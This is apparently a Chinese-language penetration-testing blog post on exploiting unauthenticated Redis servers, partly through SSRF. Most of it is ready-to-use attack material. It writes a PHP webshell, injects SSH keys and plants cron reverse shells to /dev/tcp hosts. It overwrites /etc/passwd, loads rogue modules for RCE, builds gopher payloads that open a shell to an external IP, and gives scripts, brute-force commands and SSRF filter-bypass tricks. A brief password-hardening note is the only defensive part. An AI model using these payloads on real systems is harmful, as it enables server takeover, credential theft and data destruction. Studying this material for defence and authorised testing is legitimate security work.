
Redis 安全

1.Redis是什么
REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
Redis默认端口为6379
2.Redis的命令
连接命令
本地连接:redis-cli
(本地连接后,若存在密码使用AUTH pass进行验证)
远程连接:redis-cli -h host -p port [-a passwd]
(参数a可选项,如果是没有密码的则不需要)
键操作
设置键值对:set 键名 键值(例如:set atao xxx–>写入一个键名为atao、键值为xxx的内容,执行成功返回OK)
取出键值对:get 键名(例如:get atao–>取出键名为atao的键的键值,返回键中的键值)
删除键值对:del 键名(例如:del atao–>删除键名为atao的键,如果键被删除返回(integer)1,否则将输出(integer)0)
清空所有数据库命令:flushall(删除所有数据库里面的所有数据,是所有数据库,不仅仅是当前数据库,且此命令永远不会出现失败)
同步数据到磁盘上:save(以RDB文件的方式保存所有数据的快照,命令执行成功返回OK)
配置操作
Redis配置文件名为redis.conf(Windows下名为redis.windows.conf),可以使用CONFIG命令进行查看。
设置配置文件:config set 配置项 路径(配置项如:dir或dbfilename,二者分别是指定本地数据库存放目录和指定本地数据库文件名,配置被正确设置时返回OK,否则将返回错误)
常用命令
常见命令如下:
- 查看信息:info
- 删除所有数据库内容:flushall
- 刷新数据库:flushdb
- 查看所有键:keys *,使用select num可以查看键值数据
- 设置变量:set aaa “mi1k7ea”
- 查看变量值:get aaa
- 查看备份文件路径:config get dir
- 设置备份文件路径:config set dir dirpath
- 查看备份文件名:config get dbfilename
- 设置备份文件名:config set dbfilename filename
- 保存备份文件:save
3.环境搭建
Redis安装过程
解压
tar -zxvf redis-x.x.x.tar.gz
进入解压后的文件夹,执行
make
命令修改 redis.conf 文件
高版本下还需要将这个值设置为 yes ,否则会出现如下报错
1
(error) ERR CONFIG SET failed (possibly related to argument ‘dir’) - can’t set protected config
- 进入
src
目录,执行./redis-server ../redis.conf &
,启动 Redis 并至于后台
修改 redis.conf 配置文件方便测试未授权访问
未授权访问
在 redis.conf
的配置文件中,有两个关键的配置会造成 Redis 未授权访问
- bind x.x.x.x
配置允许登陆 redis 服务的 ip,默认是 127.0.0.1(本机登录)
如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆 - protected-mode
功能是自 redis 3.2 之后设置的保护模式,默认为 yes,其作用就是如果 redis 服务没有设置密码并且没有配置 bind 则会只允许 redis 服务本机进行连接。关闭保护模式,就会允许远程连接Redis服务
接着在Windows下就能无需密码认证直接远程连接Redis了:
1 | redis-cli -h 192.168.13.128 -p 6379 |
捕捉Redis流量
这里使用的是tcpdump抓取流量,(遇到了一个小坑,Kali上显示tcpdump为最新版,但是无命令,更新环境变量:export PATH=”/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin”后可以正常使用)抓取流量的命令为
1 | sudo tcpdump -i lo -s 0 port 6379 -w redis.pcap |
4.常用协议
Redis通信协议RESP
Redis客户端使用称为RESP(Redis序列化协议)的协议与Redis服务器进行通信,后续构造 payload 时也需要转换成 RESP 协议的格式。
1 | RESP在Redis中用作请求-响应协议的方式如下: |
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。
RESP在Redis中用作请求 - 响应协议的方式如下:
- 客户端将命令作为
Bulk Strings
的RESP数组发送到Redis服务器。 - 服务器根据命令实现回复一种RESP类型。
在 RESP 中,某些数据的类型取决于第一个字节:
对于Simple Strings
,回复的第一个字节是+
对于error
,回复的第一个字节是-
对于Integer
,回复的第一个字节是:
对于Bulk Strings
,回复的第一个字节是$
对于array
,回复的第一个字节是*
此外,RESP
能够使用稍后指定的Bulk Strings
或Array
的特殊变体来表示Null
值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)
结束。
可以用tcpdump
来抓个包来测试一下
1 | tcpdump port 6379 -w ./1.pcap |
redis客户端中执行如下命令
1 | 192.168.163.128:6379> set name test |
抓到的数据包如下
hex转储看一下
正如我们前面所说的,客户端向将命令作为Bulk Strings
的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。
我们就拿上面的数据包分析,首先是*3
,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为[“set”,”name”,”test”]);$4
代表字符串的长度,0d0a
即\r\n
表示结束符;+OK
表示服务端执行成功后返回的字符串
Gopher协议
Gopher
协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了
Gopher
协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
万金油协议!!!
语法格式:gopher://<host>:<port>/<gopher_path>_value
(host为IP地址;port为指定端口,没写的话默认为70端口;”_”是一种数据连接格式,任意字符都行,因为gopher会吞噬第一个字符;value为TCP数据流)
如果发起为POST请求,回车换行使用%0D%0A(有些博客说的需要双重 URL 编码,即%250d%250a
,反正后续脚本一次编码和二次编码都写了,都试试就知道了);如果多个参数,参数之间的&也需要进行URL编码。
1 | GET请求 |
Dict协议
在SSRF中,主要是用来查看端口服务是否开启的,但是在Redis中如果无法使用Gopher协议,则可以通过该协议进行替代,不过该协议不能进行多行命令执行(只能执行一行),当传输命令时,dict 协议的话要一条一条的执行,所以一般 dict 协议只是当个备胎用。
语法格式:dict:////<host>:<port>/<value>
(host为IP地址;port为指定端口;value为请求内容)
注意要点:
<value>
处的冒号相当于空格。与 gopher 不同的是,使用 dict 协议并不会吞噬第一个字符,并且会多加一个 quit 字符串,自动添加 CRLF 换行。
在传输命令时,若命令中有空格,则该命令需要做一次十六进制编码
1
2
3
4
5cmd = "\n\n* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1\n\n"
cmd_encoder = ""
for single_char in cmd:
cmd_encoder += hex(ord(single_char).replace("0xa","0x0a").replace("0x","\\\\x"))
print(cmd_encoder)
1 | 使用命令 |
Dict 使用例子
例子1,写马
1 | 写入恶意代码:(<? 等特殊符号需要转义,不然问号后面会导致截断无法写入) |
例子2,写定时任务
1 | set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1\n\n\n\n" |
写入的payload中* * * * *
意义:
* * * * *
是一个 cron 表达式,用于表示定时任务的执行时间。Cron 是一种用于在 UNIX/Linux 系统中执行预定任务的时间表达式。这五个星号分别代表分钟、小时、日期、月份和星期。
*
是通配符,表示”每”。在这里,* * * * *
表示每分钟的每秒都执行。
因此,* * * * *
表达式表示每分钟都执行一次定时任务。
绕过?截断
主要用于dict协议中,当dict协议要写入键值对,如:
1 | dict://127.0.0.1:6379/set:atao:<?php phpinfo();?> |
绕过 本地 判断
当限制了gopher和127、localhost 等字符时,可以使用 0 代表当前IP或域名解析等方式即可绕过访问本地限制,使用dict协议写入redis。
一键式 ssrf + redis + dict 利用脚本
1 | #!/usr/bin/python3 |
5.漏洞攻击
未授权访问漏洞
由于配置不当的原因,导致Redis服务暴露在公网(即绑定在0.0.0.0:6379),并且没有开启相关认证和添加相关安全策略的情况下,即存在未授权访问漏洞。
攻击者在未授权访问Redis的情况下,可以获取数据库的所有数据、删除数据库数据等,进一步地可以利用Redis相关方法来实现写入WebShell、写入Crontab定时任务、写入SSH公钥以及利用主从复制RCE等一系列的攻击利用,将Redis未授权访问漏洞的危害无限放大。
安全配置密码验证
我们可以通过Redis的配置文件设置密码参数,这样客户端连接到Redis服务就需要密码验证,这样可以让你的Redis服务更安全,进而杜绝了未授权访问漏洞。
我们可以通过以下命令查看是否设置了密码验证:
1 | 127.0.0.1:6379> CONFIG get requirepass |
默认情况下requirepass参数是空的,这就意味着你无需通过密码验证就可以连接到Redis服务。
你可以通过以下命令来修改该参数:
1 | 127.0.0.1:6379> CONFIG set requirepass "koishi" |
设置密码后,客户端连接Redis服务就需要密码验证,否则无法执行命令。
密码验证用到AUTH命令,如下:
1 | 127.0.0.1:6379> AUTH "password" |
敏感信息泄露与数据库内容删除
使用Redis的语句可以获取数据库中的存储的敏感信息,这里为了方便直接通过keys *
来获取所有的键,然后通过get命令获取键值(如果在实际的业务中,一般不会查询所有键,因为对性能影响太大了,而是通过查询指定的某些数据库内容):
使用info命令可以看到Redis的版本、OS内核版本、配置文件路径等信息:
使用flushall等相关命令可以将Redis数据库所有内容删除掉,注意要慎用,这里就不演示了。
向Web目录写入WebShell
前提是Redis所在机子开启了Web服务,且已知Web服务目录路径。
原理就是在Redis中插入一条数据,将WebShell代码作为value,key值随意,然后通过修改数据库的默认路径为Web服务目录和默认的缓存文件为WebShell文件,最后通过save命令以备份的方式把缓存的数据保存在文件里,这样就可以在服务器端的Web目录下生成一个WebShell文件。
具体步骤就是先写入一个含WebShell代码的键值,然后设置备份目录为Web目录,接着设置备份文件名为WebShell文件名,最后通过save命令保存文件到本地。如下:
我这里服务目录在:/home/kali/Desktop/temp
,根据实际情况修改
1 | set payload "<?php @eval($_POST[1]);?>" |
发现能成功写入,由于PHP的容错性,该PHP代码是能正常执行的,能正常getshell:
写入SSH公钥直接登录
前提是Redis服务是以root权限运行的。
如果目标没有web服务,但是开启了ssh且允许免密登录的话,可以尝试这种方法。
原理和前面一样的,只是备份的目录和文件名修改为/root/.ssh/目录和authorized_keys文件名。
先在服务器中生成公私钥:
获取公钥内容cat /home/kali/.ssh/id_rsa.pub
1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCRONYAUcEiNMRqrK2szP6zN4bM9IrwV9A0fq6xe2L+3zOsIGoeaMr/hmmYeiRd8/zkG7qhTZyf+ccZK22g2Yfp0kMXHwuRif8fejGueuNvqRKiOYQRsNB78NUDnfM2So60173MF7TTTo76EZCFnjyxce8W3XohvtlTObK/rdIxpIGnQjpsVXCG8TiL5MwquLsiCsowVUe+Z0OtZiYNAQPFvaWHDZfIhTfeYUApdaSzPSFb3vhB6WOz53TVaaglzehlqJCrE1dI04XyLIn/ysiXgKErCU8AjH8N/iAetVKJN0dla4JgGW9oDslY8DoJnk17kunsUkCS57aWlG91+5Yt0MZD4N/1ETTq9zfJmjlhmAFOpBBksmNpPkKtJTEYsGqDPseQjlkA4m8zMpPPYCpNw4N4Ozs9ImGmWaWdOtPRAPQnTTgcyVLfWYj0+BqrgiO7CMYRZPu4iQafYJmNCNRe21modsRpx9ry0fE1zTuKWpR8TB17gxey41ktLvmRJW0= kali@kali |
通过Redis客户端将公钥内容写入到/root/.ssh/authorized_keys文件中,注意保存key的时候加上两个\n
是为了避免和Redis里其他缓存数据混合:
1 | config set dir /root/.ssh/ |
到自己之前生成的私钥下面去,可以使用命令利用这个私钥进行连接服务端 root,得到shell:
1 | ssh -i id_rsa root@192.168.13.128 |
写入定时任务反弹shell
该方法只能CentOS上使用,Ubuntu、Debian上行不通(所以没有装centos的我就没有复现了)。原因如下:
- 权限问题,Ubuntu定时任务需要root权限;
- Redis备份文件存在乱码,而Debian和Ubuntu对定时任务的格式校验很严格,因此在Debian和Ubuntu上会报错,而在CentOS上不会报错;
原理和前面是一样的,只是备份的目录和文件名修改了下:
1 | config set dir /var/spool/cron/crontabs/ |
注意,不同类型、版本的OS的crontabs所在路径会有所区别。
可以看到在Kali中成功生成root文件,其中含有定时任务的内容,也包括了乱码:
此时并未在监听端接收到反弹shell。这是由于Kali是Debian系统,对定时任务的格式要求很严,而root文件内容含有乱码,会导致执行不成功。除此之外,还有root文件执行的权限问题,我们通过tail /var/log/syslog
命令来查看如下错误信息,因为权限不够、所以cron拒绝执行该定时任务:
1 | cron[441]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root) |
具体CentOS的利用可自行测试。
不同OS的系统任务调度文件:
1 | Ubuntu |
可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
还有师傅是这么解释的:
这个方法只能
Centos
上使用,Ubuntu上行不通
,原因如下:
- 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件
/var/spool/cron/crontabs/<username>
权限必须是600也就是-rw-------
才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected)
,而Centos的定时任务文件/var/spool/cron/<username>
权限644也能执行- 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root权限)/etc/crontab
PS:高版本的redis默认启动是redis
权限,故写这个文件是行不通的
写入/etc/passwd文件实现任意账号密码重置
这个对系统影响比较大,我没有去复现
Linux存账户密码一般会有/etc/passwd和/etc/shadow,如果两个出现冲突的话,会以/etc/passwd为准。
另外,/etc/passwd的权限一般是644,比/etc/shadow的640要高。而且,redis写入是覆盖的,也就是说,写入进去覆盖之后,其他的都没了,这个过程是有创且不可逆的。
但是可以通过与/etc/passwd- 和/etc/shadow对比,起码可恢复99%的内容。当然,做这步骤前事先和负责人联系,得到许可后自然是最好的,都可以省的恢复了。
1 | mkpasswd --method=md5 --salt='$6$my0salt0' 'YourNewPasswd%1024' //使用mkpasswd生成密码,或者用下面这个python |
然后登录
1 | ssh root@192.168.13.128 |
输入明文密码 YourNewPasswd%1024
,成功登录
其他的利用
任何可利用Redis未授权访问漏洞来写文件的地方都能被进行恶意利用,除了前面几项利用方式外,还有以下收集的几个在Linux或Windows下的利用方式。
https://tatsumaki.cn/2020/08/20/redis/#toc-heading-9
写入Windows启动项:https://www.anquanke.com/post/id/170360#h3-3
写入Windows MOF:https://www.anquanke.com/post/id/170360#h3-4
利用主从复制RCE
Redis主从复制
如果把数据存储在单个Redis中,而读写体量比较大的时候,服务端的性能就会大受影响。为了应对这种情况,Redis就提供了主从模式。
Redis主从模式是指使用一个Redis作为主机,其他Redis则作为从机即备份机。其中主机和从机数据相同,主机只负责写,从机只负责读,通过读写分离可以大幅度减轻流量的压力,即是一种通过牺牲空间来换取效率的缓解方式。
攻击利用
主从复制实现RCE还是属于未授权访问的一种利用方式,这里因为其较新型便单独提出一小节。
4.x、5.x 版本的Redis提供了主从模式。在Redis 4.x 之后,通过外部扩展,可以在Redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机可以通过FULLRESYNC同步文件到从机上,然后在从机上加载恶意so文件,即可执行命令。
Redis主从数据库之间的同步分为两种:
- 全量复制是将数据库备份文件整个传输过去从机,然后从机清空内存数据库,将备份文件加载到数据库中;
- 部分复制只是将写命令发送给从机;
因此,想要复制备份文件的话就需要设置Redis主机的传输方式为全量传输。
这里我们只需要模拟协议收发包就能伪装成Redis主机了
利用工具
1 | git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand |
第一个工具是用于生成恶意的执行shell的so文件;第二个工具是伪造Redis主机的脚本。
首先要生成恶意so文件,下载第一个工具然后make即可生成。
然后在攻击者机器上执行如下命令即可成功RCE:
1 | python redis-rce.py -r 192.168.13.128 -p 6379 -L 192.168.13.128 -f module.so |
我本地是redis 7.2.4 的,加载模块会出错,我看某些说的需要在5.0.5及以下版本的才行,我没有做尝试。
手打
因为大多数情况不会直接是未授权的漏洞,通常结合ssrf或者其他漏洞,因此工具具有很大的局限性,这里给出手打的payload,方便在各种情况下进行攻击。
payload
(不需要认证时可以把auth root删掉)
1 | gopher://0.0.0.0:6379/_auth root |
还有的payload为:
关闭主从同步
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit |
导出数据库
(设置备份文件名字)
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit |
不出网 – 命令执行获取flag
使用 exp.so
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit |
使用 exp2.so
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250aRedisRuntime.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit |
出网 – 反弹shell
使用 exp2.so
1 | gopher://0.0.0.0:6379/_auth%2520root%250ARedisRuntime.exec%252043.138.0.3%25202740%250Aquit |
使用
公网使用 Awsome-Redis-Rogue-Server 来开启redis 主服务
1 | python3 redis_rogue_server.py -v -path exp.so -lport 6666 |
如果要反弹shell则也开启nc监听
然后在漏洞处注入payload即可
暴力破解Redis密码
用Hydra
使用Hydra工具可以对Redis密码进行暴力破解:
1 | hydra -P ./passwords.txt redis://192.168.13.128 |
用python
面对内网 redis 认证的情况下,可以利用 dict 或者 gopher 等协议编写脚本尝试爆破 Redis 口令。可以再用多线程进行优化一下,由于有Hydra了,就不去改这个了,懂意思就行。
1 | import urllib.request |
6.漏洞组合
SSRF打本地Redis服务
前提是Web服务器监听本地的Redis存在未授权访问漏洞,并且Web站点支持Gopher协议。这里就能把范围缩小了,PHP是支持Gopher协议的,而Java不支持。
一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis
常见存在ssrf的例子
curl
1 |
|
或
1 |
|
file_get_contents
1 |
|
需要使用的redis指令是(和之前写马的是一样的):
1 | flushall |
在ssrf的情况下,我们需要借助 gopher 协议帮助我们写马
根据 RESP 协议编写的 python 脚本redisSsrf.py
,将上述命令转换为 gopher payload。
脚本-gopher
1 | import urllib.parse as parse |
结合 SSRF 时,需要再次进行 URL 编码,也就是二次 url 编码后的结果传入,这样才能写马
脚本-dict-定时任务
上面写过一次了,这里我再复制一次吧
1 | #!/usr/bin/python3 |
脚本-gopher-定时任务
1 | import urllib.parse |
脚本-写ssh私钥
1 | import urllib.parse |
SSRF ip绕过
1. xip.io
xip.io的原理很简单,就是个dns解析服务
1 | 10.0.0.1.xip.io resolves to 10.0.0.1 |
类似这样的格式都解析为 10.0.0.1
http://域名+地址+xip.io ,将解析到对应地址。
2. 本地回环地址的其他表现形式
127.0.0.1,通常被称为本地回环地址(Loopback Address),指本机的虚拟接口,一些表示方法如下(ipv6的地址使用http访问需要加[]):
1 | http://127.0.0.1 |
3. 对ip进行进制转换
(十六进制也可以和十进制一样不用加 点)
由于IP地址可以用多种格式表示,因此可以在URL中如下所示使用:
1 | 点分十进制IP地址(正常形式) http://127.0.0.1 |
4. 添加一些url标志混淆
比如使用 “@” 符号绕过
1 | http://10.10.10.10 http//10.10.10.10请求是相同的。 |
该请求得到的内容都是10.10.10.10的内容,此绕过同样在URL跳转绕过中适用。
其他的还有
1 | http://www.baidu.com@127.0.0.1/ |
5. 点分割符号替换(钓鱼邮件常用于绕过检测)
在浏览器中可以使用不同的分割符号来代替域名中的.分割,可以使用。、。、.来代替:
1 | http://www。qq。com |
6. 特殊数字绕过
有时候可以用特殊数字来绕过,构造特殊的127.0.0.1,如圈或者unicode字符
1 | ①②⑦.⓪.⓪.① |
uncode字符
1 | 𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 |
Python urllib CRLF注入打本地Redis服务
该漏洞的前提python版本为python3 < 3.4.3 || python2 < 2.7.9,现在的python已不存在该问题,漏洞太老了。
如果目标站点使用了Python漏洞版本的urllib库,并且请求的url外部可控,那么就可能存在内网被探测的风险,如果本机或内网服务器中装有未授权访问漏洞的Redis,那么服务器就存在被getshell的风险。
原理和组合SSRF漏洞完全一样,可以通过CRLF注入来利用Redis向Crontab写入反弹shell的定时任务。
例子:
1 | http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a |
解码结果如下
1 | http://127.0.0.1 |
写定时任务同之前的payload
- 标题: Redis 安全
- 作者: Ko1sh1
- 创建于 : 2023-10-02 19:25:48
- 更新于 : 2024-05-30 21:52:42
- 链接: https://ko1sh1.github.io/2023/10/02/blog_Redis安全/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。